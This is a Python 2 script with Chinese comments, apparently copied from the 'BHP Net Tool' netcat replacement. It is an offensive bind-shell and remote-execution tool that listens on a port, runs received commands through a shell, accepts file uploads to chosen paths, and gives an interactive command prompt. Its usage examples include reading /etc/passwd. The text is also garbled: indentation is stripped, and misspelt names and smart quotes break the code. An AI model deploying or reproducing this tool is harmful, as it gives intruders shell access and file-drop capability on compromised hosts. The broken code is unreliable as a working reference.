#!/usr/bin/env python
#coding:utf-8
#data:20140414
import sys,socket,getopt,threading,subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
#连接到目标主机
client.connection((target,port))
if len(buffer):
client.send(buffer)
while True:
#现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
#等待更多的输入
buffer = raw_input("")
buffer += "\n"
#发送出去
client.send(buffer)
except:
print "[*] Exception! Exiting."
#关闭连接
client.close()

def server_loop():
global target
#如果没有定义目标，那么我们监听所有接口
if not len(target):
target = ’0.0.0.0′
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket,addr = server.accept()
#分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler,atgs=(client_socket,))
client_thread.start()

def run_command(command):
#换行
command = command.rstrip()
#运行命令并将输出返回
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command.\r\n"
#将输出发送
return output

def client_handler(client_socket):
global upload
global execute
global command

#检测上传文件
if len(upload_destination):
#读取所有的字符并写下目标
file_buffer = ""
#持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#现在我们接收这些数据并将他们写出来
try:
file_descriptor = open(upload_destination,‘wb’)
file_descriptor.write(file_buffer)
file_descriptor.close()
#确认文件已经写出来
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
#检查命令执行
if len(excute):
#运行命令
output = run_command(execute)
client_socket.send(output)
#如果需要一个命令行shell，那么我们进入 另一个寻黄
if command:
while True:
#跳出一个窗口
client_socket.send("<BHP:#> ")
#现在我们接收文件知道发现换行符(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
#返回就将命令输出
response = run_command(cmd_buffer)
#返回响应数据
client_socket.send(response)

def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l –listen -listen on [host]:[port] for incoming connections"
print "-e execute-file_to_run -execute the given file upon receiving a connection"
print "-c –command -initialize a command shell"
print "-u –upload=destination"
print
print
print "Examples: "
print "hpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo ‘ABCDEFGHI’ | ./bhpnet.py -t 192.168.0.1 -p 135"

def main():
global listen
global port
global execute
global command
global upload_destination
global target

#判断是否输入数据，无则调用usage函数输出帮助信息
if not len(sys.argv[1:]):
usage()

#读取命令行选项
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetopError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","–help"):
usage()
elif o in ("-l","–listen"):
listen = True
elif o in ("-e","–execute"):
execute = a
elif o in ("-c","–commandshell"):
command = True
elif o in ("-u","–upload"):
upload_destination = a
elif o in ("-t","–target"):
target = a
elif o in ("-p","–port"):
port = int(a)
else:
assert False,"Unhandled Option"
#我们是进行监听还是仅从标准输入发送数据
if not listen and len(target) and port > 0:
#从命令行读取内存数据
#这里将阻塞，所以不在想标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
#发送数据
client_sender(buffer)
#我们开始监听并准备上传文件、执行命令
#放置一个反弹shell
#取决于上面的命令行选项
if listen:
server_loop()

main()